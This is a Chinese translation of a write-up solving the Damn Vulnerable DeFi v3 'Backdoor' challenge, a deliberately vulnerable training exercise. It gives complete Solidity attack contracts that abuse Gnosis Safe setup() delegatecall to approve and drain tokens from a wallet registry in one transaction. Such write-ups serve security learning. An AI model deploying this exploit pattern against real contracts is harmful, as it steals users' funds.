Damn Vulnerable DeFi Backdoor 解决方案

  • Dacian
  • 发布于 2023-02-05 14:28
  • 阅读 12

本文分析了Damn Vulnerable DeFi v3 Backdoor挑战,该挑战涉及利用Gnosis Safe v1.3.0钱包注册表的漏洞。攻击者通过部署恶意合约,在Gnosis Safe钱包创建过程中利用delegatecall机制,在钱包的上下文中批准攻击合约转移token,最终耗尽注册表中的所有token。

后门 v3 的特性是一个 Gnosis Safe v1.3.0 钱包的注册表。该注册表已被赋予初始的 token 分配和一个受益人列表,当这些受益人创建 Gnosis Safe 钱包并在注册表中注册它们时,他们会获得一些 token 作为奖励。我们的任务是耗尽注册表中的所有 token。

代码概览

测试设置分析 - backdoor.challenge.js

在这个挑战中,最大的线索可以在测试文件本身中找到。让我们检查一下胜利的条件:

after(async function () {
    /** 成功条件 - 这里无需更改任何内容 */

    // 玩家必须只使用一笔交易
    expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

    for (let i = 0; i < users.length; i++) {
        let wallet = await walletRegistry.wallets(users[i]);

        // 用户必须已注册一个钱包
        expect(wallet).to.not.eq(
            ethers.constants.AddressZero,
            'User did not register a wallet'
        );

        // 用户不再注册成受益人
        expect(
            await walletRegistry.beneficiaries(users[i])
        ).to.be.false;
    }

    // 玩家必须拥有所有 token
    expect(
        await token.balanceOf(player.address)
    ).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});

第一个要求是攻击者(玩家)必须只使用 1 笔交易; 这告诉我们,我们需要部署一个攻击合约,该合约将在其 constructor() 中执行攻击。

第二个要求是每个用户都必须注册一个钱包,并且这些用户不再在 WalletRegistry.beneficiaries 中注册为受益人。 这表明 Gnosis Safe 钱包的设置不完整; 钱包尚未为受益人创建和注册,而执行此操作将是我们攻击的一部分。 考虑到这一点,让我们将注意力转移到 Wallet Registry 本身。

合约漏洞分析 - WalletRegistry.sol

WalletRegistry 实现了 IProxyCreationCallback 以及关联的函数 proxyCreated(),该函数由 GnosisSafeProxyFactory.createProxyWithCallback() 在用户使用该函数创建 Gnosis Safe 钱包时调用。

WalletRegistry.proxyCreated() 的参数之一是 bytes calldata initializer 并且有一个有趣的提示:

// 确保初始 calldata 是对 `GnosisSafe::setup` 的调用
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
       revert InvalidInitialization();
}

这告诉我们,当我们调用 GnosisSafeProxyFactory.createProxyWithCallback() 为受益人创建钱包时,bytes initializer 参数必须是 GnosisSafe.setup() 的函数选择器加上参数。

GnosisSafe.setup() 有两个有趣的参数:

  • address to - 可选委托调用的合约地址

  • bytes calldata data - 可选委托调用的数据负载。

因此,在我们通过 GnosisSafeProxyFactory.createProxyWithCallback() 创建和部署 Gnosis Safe 钱包之后,我们可以让新创建的 GnosisSafeProxy 在其 setup() 期间 delegatecall 到我们控制的任意函数和任意参数。

这将允许我们使用新创建的 GnosisSafeProxy 的上下文执行我们的攻击代码。 我们的攻击代码在使用 GnosisSafeProxy 上下文执行时,可以调用 token 合约上的 approve() 来批准我们的攻击合约作为 spender :-) 这很有用,因为 WalletRegistry.proxyCreated() 会将 token 转移到新创建的 GnosisSafeProxy,因此之后我们将能够简单地从代理中耗尽 token。

我们现在拥有实施攻击所需的一切,是时候将它们放在一起了!

漏洞利用实施

首先需要在 WalletRegistry.sol 中添加一个额外的 import 语句,以使用我们需要创建钱包的 GnosisSafeProxyFactory:

import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
// @audit 额外的 import 语句
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

接下来,在 WalletRegistry.sol 的底部,我们将开始编写我们的漏洞利用代码。 回想一下,我们必须在 1 笔交易中执行它才能通过测试要求。 这意味着漏洞利用必须发生在我们的攻击合约的 constructor() 中 - 但是,当我们的攻击合约的 constructor 尚未完成执行时,我们如何才能让 GnosisSafe.setup() 委托回调到我们控制的函数?

解决方案是创建一个第二个回调攻击合约,并让第一个攻击合约在其 constructor 中创建第二个回调合约,然后再执行漏洞利用:

// 挑战要求我们在 1 笔交易中完成它,因此主要的攻击必须发生在
// 攻击合约的 constructor 中。 因此,该 constructor 需要创建这个额外的合约
// 以便使这个外部函数存在,允许 GnosisSafeProxy 对其进行 delegatecall()
contract DelegateCallbackAttack {
    // 这将由新创建的 GnosisSafeProxy 使用 delegatecall() 调用
    // 这允许攻击者使用 GnosisSafeProxy 上下文执行任意代码;
    // 使用它来批准主攻击合约的 token 转移
    function delegateCallback(address token, address spender, uint256 drainAmount) external {
        IERC20(token).approve(spender, drainAmount);
    }
}

接下来,我们创建我们的主攻击合约:

contract WalletRegistryAttack {
    uint256 immutable DRAIN_AMOUNT = 10 ether;

    // 攻击在 constructor 中执行,以通过 1 笔交易的要求
    constructor(address[] memory _initialBeneficiaries,
                address          _walletRegistry ) {

        DelegateCallbackAttack delegateCallback = new DelegateCallbackAttack();
        WalletRegistry walletRegistry       = WalletRegistry(_walletRegistry);
        GnosisSafeProxyFactory proxyFactory = GnosisSafeProxyFactory(walletRegistry.walletFactory());
        IERC20 token                        = walletRegistry.token();

        for (uint8 i = 0; i < _initialBeneficiaries.length;) {
            // 对应于 GnosisSafe.setup(address[] calldata _owners) - 这个
            // Safe 的所有者,在我们的例子中,每个 Safe 将只有一个所有者,即受益人。
            address[] memory owners = new address[](1);
            owners[0] = _initialBeneficiaries[i];

            // 对应于 GnosisSafeProxyFactory.createProxyWithCallback(..,bytes memory initializer,..)
            // 具有函数选择器 = GnosisSafe.setup.selector
            // 和对应于 GnosisSafe.setup() 的参数
            bytes memory initializer = abi.encodeWithSelector(
                GnosisSafe.setup.selector, // 函数选择器 = GnosisSafe.setup.selector
                owners,                    // 1 个 Safe 所有者; 受益人
                1,                         // Safe 交易需要 1 次确认
                address(delegateCallback), // 从新的 GnosisSafeProxy 到攻击合约的 delegatecall()
                                           // delegatecall 攻击函数 + 参数的函数选择器
                abi.encodeWithSelector(DelegateCallbackAttack.delegateCallback.selector,
                                       address(token), address(this), DRAIN_AMOUNT),
                address(0),                // 没有 fallbackHandler
                address(0),                // 没有 paymentToken
                0,                         // 没有 payment
                address(0)                 // 没有 paymentReceiver
            );

            // 接下来,使用我们的负载,为每个受益人创建钱包 (proxy)。
            // 这应该作为初始 GnosisSafe 设置的一部分来完成,
            // 没有这样做才允许我们这样做并利用该合约
            GnosisSafeProxy safeProxy = proxyFactory.createProxyWithCallback(
                walletRegistry.masterCopy(),
                initializer,
                i, // 用于生成 salt 以计算新代理合约地址的 nonce
                // 在部署和初始化新的代理后,回调到 WalletRegistry.proxyCreated()
                IProxyCreationCallback(_walletRegistry)
            );

            // 此时,GnosisSafeFactory 已经部署和初始化了新的 GnosisSafeProxy,
            // 并且使用了 delegatecall() 来执行我们的攻击回调函数,该函数
            // 使用 GnosisSafeProxy 上下文调用了 DVT.approve(),从而使我们的攻击合约
            // 成为经过批准的 spender。 剩下的就是直接调用 DVT.transferFrom()
            // 使用新的代理地址来耗尽钱包
            require(token.allowance(address(safeProxy), address(this)) == DRAIN_AMOUNT);
            token.transferFrom(address(safeProxy), msg.sender, DRAIN_AMOUNT);

            unchecked{++i;}
        }
    }
}

然后在 backdoor.challenge.js 中部署我们的攻击合约。 请注意,我需要指定一个手动 gasLimit,因为 hardhat 抱怨它无法估算交易所需的 gas - 在 constructor 中执行攻击可能会导致这种情况,通过手动指定 gasLimit 来解决它:

it('执行', async function () {
    /** 在此处编写你的解决方案 */
    await (await ethers.getContractFactory('WalletRegistryAttack', player)).deploy(
        users, walletRegistry.address, {gasLimit: 30000000}
    );
});

最后,运行测试并验证一切正常:npx hardhat test --grep "Backdoor"

完整的代码可以在我的 Damn Vulnerable DeFi v3 Solutions 仓库中找到。

  • 原文链接: dacian.me/damn-vulnerabl...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Dacian
Dacian
in your storage